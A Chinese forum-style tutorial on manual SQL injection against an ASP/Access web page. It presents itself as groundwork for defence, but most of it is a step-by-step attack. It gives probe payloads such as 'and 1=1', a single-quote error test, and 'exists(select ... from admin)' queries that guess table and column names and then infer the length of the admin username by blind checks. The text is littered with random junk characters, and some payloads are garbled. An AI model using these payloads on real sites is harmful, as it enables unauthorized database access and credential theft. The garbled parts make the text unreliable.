大家都知道很多情况下我们在入侵时使用工具注入的时候工具猜解不出来表明和字段名,不知道大家有没有注意这是什么原因? 5 T9 b( K2 I8 u) t7 ^4 N ` Q8 x! Q我总结了下发现那是因为所有的工具都有一部自己的字典,这部字典包含了表名和字段名,如果说管理员吧表明和字段名改成了不在这不字典内哪么我们所使用的工具将永远无法猜解出字段名和表名。下面我将从分析手工注入出发一打造抵御SQL的注入防线。当然不要忘记了哦 正的就是反的,反的就是正的。就看你怎么去理解了!!呵呵7 B9 k3 N. R& l, ?' C
$ O- b( k6 X, h9 `" o5 b+ o1 判断是否存在注入点) w! L: Q( j# D! U+ ?
构造简单的判断条件来判断该页面是否存在注入点,例如要检测的页面:http://127.0.0.1/111/view.asp?id=198/ F6 @ v' N, _. Z' b2 ?1 X& n0 i6 {
(1)想要对站点进行手工注入就必须对浏览器进行设置,以保证手工注入时能够返回出错的信息,) @+ f+ t0 Y5 s" v" P: l( x5 I
步骤:右键单击浏览器----属性---高级---取消“显示有好的HTTP错误信息”的勾--------应用! % K- n7 f: X2 q g0 _5 E, y) D; B3 J0 ]( H6 G
(2)像浏览器提交如下url:http://127.0.0.1/111/view.asp?id=198 and 1=1 如果存在SQL注入漏洞,就可以查询数据库。- |: Q5 C6 p6 K- c( l
这里1=1是一个恒等式,可以忽略,因此会返回一个正常的页面,此页面和http://127.0.0.1/111/view.asp?id=198一样,这时便可以判断此站有希望被注入,如果返回的是一些错误的信息,哪么一些初级的入侵者可能会放弃这个站点 4 n& Z; J$ }- L0 C% e# K# L6 q 9 p8 e% Z2 f1 x9 F1 y1 [, B: S# Y+ _(3)进一步像浏览器提交如下URL:http://127.0.0.1/111/view.asp?id=198 and 1=2 这里1=2是一个恒不等式。 8 E/ B0 h4 o- B4 K4 z如果站点支持数据库查询,大概会返回一个这样的提示:% U4 P$ s# n# t$ X# l
microsoft VBScript 编辑器错误 错误’800a03f6' ) u. j$ |$ e. f1 I! [缺少'End'0 {. b% T, R* n. R# Y( D
/iisHelp/common/500-100.asp,行242 - g( s0 Q% d8 s* VADODB.Field 错误'800a0bcd': o1 E; a: \7 X! J# m
BOF或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。 2 F2 l7 }( |& T: f/111/view.asp. 行50# V' B! i5 v9 p) \1 d/ E: N$ M/ L+ r' Q
7 h) Y0 A9 I" L4 u) k
一般出现这个信息我们就能够基本确定这个站能够进行SQL的注入了。 - j% t% |) ?9 n: Z. { $ z/ G1 f- ~ q6 a不过很多的时候我们只需要用一个单引号就可以快速的判断出目标站点是否存在SQL的注入,向浏览器提交如下url: http://127.0.0.1/111/view.asp?id=198'1 b. ]( w2 c; }1 a5 l8 n
2 k7 ^! Z- P- A$ b3 t
如果返回的如下信息就说明有一半以上的几率存在注入漏洞:4 B4 |1 v& d; t# f" x/ j$ z7 V
Microsoft OLE DB Provider for ODBC Drivers错误’80040e14’) ]/ Z0 G( P7 P
[Microsoft] [OBDC' |: I/ G0 g% i8 ^+ Z
Microsoft Ac-cess Driver]字符串的语法错误在查询表达式’id=1’中。 ' ~4 N4 T4 X: A3 C' I2 j9 g2 }+ C6 c6 U, X e2 c
/ Q3 r" R" u4 [- {(4)此时我们开始构造特殊的SQL查询语句来查询站点数据库的表名,向url提交如下语句: ( ^3 j4 C" A9 Ohttp://127.0.0.1/111/view.asp?id=198 and exists(select from *admin) 2 M9 O" g& N% z/ n* Y, ~. o5 P/ S# I
这个语句是向数据库查询是否存在admin这个表,如果存在就会返回正常页面,不存在就会返回出现错误的页面,一般我们都会先测试常用的表名 当然这也是一般的注入工具密码字典内存在的表名和字段名,如果表名不存在的常用的表明中,哪么我们就用社会工程学来猜解表名,当然这样的情况下猜中表名的概率也是很低的。+ E1 J6 Z% a8 J. M3 A9 N: o7 z
7 D/ ~: {7 p/ T+ R
(5)在得到表名后开始构造查询语句查询数据库字段名,想url提交如下语句:, f/ ~5 [3 J2 h4 E http://127.0.0.1/111/view.asp?id=198 and exists(select user from admin) `5 I; h! u0 U( o. {; M # A& m9 N1 |0 v$ J5 P这个语句是向数据库中admin表中查询师傅存在user字段,存在的话返回正常页面,附则反之 9 I; L& {3 z* Z ; Q s6 u) M1 S- j. C(6)接下来确定字段id值,语句: 5 r" V! @+ g+ }% p/ Whttp://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where id=1), p8 R& y; z4 W
, }2 {8 }$ ^ k) H! A
h8 I- w, y1 e5 m5 C: e% l3 P
正确返回正常页面 不存在的话返回出错页面5 D2 M4 i+ \+ ^7 A
) |1 k8 s* @, ]/ t2 j , i/ y7 x: T! ^(7)在表名和字段名猜测出来以后,我们开始向url提交查询语句 猜测管理员账号的长度 - r0 W# y+ r- I" A$ Yhttp://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where len(ueer),<6 and id=1)3 q9 v1 w$ n( i
! G* }- \; B7 m' w. l
这个语句是查询user字段中用户名长度的范围,表示长度小于6 同样的正确返回正常页面,错误的话返回出错页面 + z3 o0 L" Y. s9 l- n缩小范围,然后构造下面的语句确定用户名的具体长度:% _ H5 l: d! x' g# ?) } Z. p http://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where len(user)=5 and id=1)0 Q2 a+ u3 ?$ K' Z* F